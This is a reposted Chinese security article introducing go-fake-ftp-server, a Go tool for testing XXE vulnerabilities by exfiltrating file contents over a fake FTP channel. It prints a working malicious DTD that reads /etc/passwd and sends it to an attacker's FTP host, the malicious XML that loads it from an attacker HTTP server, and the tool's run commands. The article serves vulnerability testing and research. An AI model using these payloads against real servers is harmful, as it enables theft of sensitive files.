文章总结： go-fake-ftp-server是一款使用Go语言编写的XXE漏洞测试工具，通过伪造FTP服务实现外带文件数据读取。工具默认在8008端口运行HTTP服务提供恶意DTD文件，在2121端口运行FTP服务接收外带数据。用户需配置evil.dtd和恶意XML文档，指定目标文件路径和回连地址，上传至存在XXE漏洞的服务器即可通过FTP通道获取敏感文件内容。工具支持自定义端口和DTD文件路径，适合安全测试人员在隔离环境中进行漏洞验证。 综合评分： 72 文章分类： 安全工具,WEB安全,漏洞POC,渗透测试
XXE漏洞测试工具 — go-fake-ftp-server（2月6日更新）
z9nn8w z9nn8w
网络安全者
2026年2月9日 11:42 河南
===================================
免责声明
请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。工具来自网络，安全性自测，如有侵权请联系删除。个人微信：ivu123ivu
0x01 工具介绍
使用Go编写的用于测试XXE漏洞的工具，通过伪造FTP服务外带文件数据。HTTP服务默认运行于 8008 端口，默认用同目录下的evil.dtd作为http响应的恶意dtd文件。FTP服务默认运行于 2121 端口。
./fake-ftp-server -hUsage of ./fake-ftp-server: -file string evil dtd file (default "evil.dtd") -ftpport string FTP server port (default "2121") -httpport string HTTP server port (default "8008")
0x02 安装与使用
编写evil.dtd放于程序同目录下：
<!ENTITY % c SYSTEM "file:///etc/passwd"><!ENTITY % d "<!ENTITY % e SYSTEM 'ftp://ip:FTPport/%c;'>">%d;
恶意xml文档：
<?xml version="1.0"?><!DOCTYPE a [ <!ENTITY % b SYSTEM "http://ip:HTTPport/"> %b; %e; ]><a></a>
执行fake-ftp-server程序，按照默认参数值启动：
./fake-ftp-server
上传恶意xml文档到存在XXE漏洞的服务器进行测试，HTTP服务：
FTP服务，成功获取/etc/passwd完整内容：
也可以指定参数启动：
./fake-ftp-server -file=1.dtd -httpport=8009 -ftpport=2122
修改恶意dtd和xml文档为对应服务端口，同样能实现外带文件的功能：
一定要在虚拟机运行，工具下载链接：
https://pan.quark.cn/s/31a496860b2c
·今 日 推 荐·
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：网络安全者 z9nn8w z9nn8w《XXE漏洞测试工具 — go-fake-ftp-server（2月6日更新）》
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论